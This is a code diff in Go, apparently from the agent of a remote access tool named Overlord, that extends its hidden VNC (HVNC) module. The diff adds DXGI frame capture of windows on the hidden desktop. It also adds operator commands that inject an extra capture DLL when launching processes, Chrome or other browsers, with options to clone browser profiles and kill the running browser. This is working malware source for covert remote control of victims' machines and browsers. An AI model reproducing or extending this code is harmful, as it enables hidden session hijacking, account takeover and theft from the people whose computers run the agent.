return hvncDXGIEnabled.Load()
|
||||
}
|
||||
|
||||
func drawHVNCWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool {
|
||||
if !hvncDXGIEnabled.Load() {
|
||||
return false
|
||||
}
|
||||
var pid uint32
|
||||
procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
|
||||
if pid == 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
reader := hvncGetFrameReader(pid)
|
||||
if reader == nil {
|
||||
hvncFrameReadersMu.Lock()
|
||||
gpuPID := hvncGPUPIDMap[pid]
|
||||
hvncFrameReadersMu.Unlock()
|
||||
if gpuPID != 0 {
|
||||
reader = hvncGetFrameReader(gpuPID)
|
||||
}
|
||||
}
|
||||
if reader == nil {
|
||||
return false
|
||||
}
|
||||
|
||||
needed := winW * winH * 4
|
||||
if cap(dxgiFrameBuf) < needed {
|
||||
dxgiFrameBuf = make([]byte, needed)
|
||||
}
|
||||
buf := dxgiFrameBuf[:needed]
|
||||
|
||||
frameW, frameH, ok := reader.readFrame(buf)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
|
||||
copyW := minInt(winW, frameW)
|
||||
copyH := minInt(winH, frameH)
|
||||
if copyW <= 0 || copyH <= 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
srcStride := frameW * 4
|
||||
winStride := winW * 4
|
||||
|
||||
effWinLeft := winLeft
|
||||
effWinTop := winTop
|
||||
effWinRight := winLeft + copyW
|
||||
effWinBottom := winTop + copyH
|
||||
|
||||
interLeft := maxInt(effWinLeft, bounds.Min.X)
|
||||
interTop := maxInt(effWinTop, bounds.Min.Y)
|
||||
interRight := minInt(effWinRight, bounds.Max.X)
|
||||
interBottom := minInt(effWinBottom, bounds.Max.Y)
|
||||
if interRight <= interLeft || interBottom <= interTop {
|
||||
return false
|
||||
}
|
||||
|
||||
srcX := interLeft - winLeft
|
||||
srcY := interTop - winTop
|
||||
dstX := interLeft - bounds.Min.X
|
||||
dstY := interTop - bounds.Min.Y
|
||||
blitW := interRight - interLeft
|
||||
blitH := interBottom - interTop
|
||||
|
||||
for y := 0; y < blitH; y++ {
|
||||
srcStart := (srcY+y)*srcStride + srcX*4
|
||||
dstStart := (dstY+y)*targetStride + dstX*4
|
||||
copy(target[dstStart:dstStart+blitW*4], buf[srcStart:srcStart+blitW*4])
|
||||
}
|
||||
|
||||
_ = winStride
|
||||
return true
|
||||
}
|
||||
|
||||
func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool {
|
||||
if !isWindowVisible(hwnd) {
|
||||
return false
|
||||
@@ -1597,6 +1743,10 @@ func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []by
|
||||
return false
|
||||
}
|
||||
|
||||
if drawn := drawHVNCWindowFromDXGI(hwnd, winLeft, winTop, winW, winH, bounds, target, targetStride); drawn {
|
||||
return true
|
||||
}
|
||||
|
||||
// Use pooled DC+DIB from cache
|
||||
entry := hvncGetOrCreateCache(hdcScreen, hwnd, winW, winH)
|
||||
if entry == nil {
|
||||
|
||||
@@ -470,6 +470,21 @@ func extractDLLBytes(payload map[string]interface{}) []byte {
|
||||
return nil
|
||||
}
|
||||
|
||||
func extractCaptureDLLBytes(payload map[string]interface{}) []byte {
|
||||
if payload == nil {
|
||||
return nil
|
||||
}
|
||||
switch v := payload["capture_dll"].(type) {
|
||||
case []byte:
|
||||
return v
|
||||
case string:
|
||||
if len(v) > 0 {
|
||||
return []byte(v)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
|
||||
cmdID, _ := envelope["id"].(string)
|
||||
action, _ := envelope["commandType"].(string)
|
||||
@@ -977,6 +992,30 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
_ = HVNCCursorControl(ctx, env, enabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_enable_dxgi":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
dxgiEnabled := true
|
||||
if payload != nil {
|
||||
if v, ok := payload["enabled"].(bool); ok {
|
||||
dxgiEnabled = v
|
||||
}
|
||||
}
|
||||
log.Printf("hvnc: DXGI capture %v", dxgiEnabled)
|
||||
capture.SetHVNCDXGIEnabled(dxgiEnabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_set_resolution":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
maxH := 1080
|
||||
if payload != nil {
|
||||
if v, ok := payloadInt(payload, "maxHeight"); ok {
|
||||
maxH = v
|
||||
}
|
||||
}
|
||||
log.Printf("hvnc: set resolution maxHeight=%d", maxH)
|
||||
capture.SetMaxResolution(maxH)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_set_quality":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
quality := 90
|
||||
@@ -1437,10 +1476,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d", filePath, searchPath, replacePath, len(dllBytes))
|
||||
captureDllBytes := extractCaptureDLLBytes(payload)
|
||||
log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, len(dllBytes), len(captureDllBytes))
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_process_injected", nil, func() {
|
||||
if err := capture.StartHVNCProcessInjected(filePath, dllBytes, searchPath, replacePath); err != nil {
|
||||
if err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath); err != nil {
|
||||
log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
|
||||
}
|
||||
})
|
||||
@@ -1460,9 +1500,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
|
||||
captureDllBytes := extractCaptureDLLBytes(payload)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_chrome_injected", nil, func() {
|
||||
if err := capture.StartHVNCChromeInjected(chromePath, dllBytes); err != nil {
|
||||
if err := capture.StartHVNCChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil {
|
||||
log.Printf("hvnc: chrome injected failed: %v", err)
|
||||
}
|
||||
})
|
||||
@@ -1502,6 +1543,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, len(dllBytes))
|
||||
captureDllBytes := extractCaptureDLLBytes(payload)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_browser_injected", nil, func() {
|
||||
var onProgress capture.CloneProgressFunc
|
||||
@@ -1517,7 +1559,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
})
|
||||
}
|
||||
}
|
||||
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, onProgress); err != nil {
|
||||
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress); err != nil {
|
||||
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
|
||||
}
|
||||
})
|
||||
|
||||
@@ -27,7 +27,7 @@ func GetPersistedHVNCDisplay() int {
|
||||
}
|
||||
|
||||
func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
|
||||
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30)
|
||||
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120)
|
||||
capture.SetH264TargetFPS(fps)
|
||||
log.Printf("hvnc: starting stream (max fps %d)", fps)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user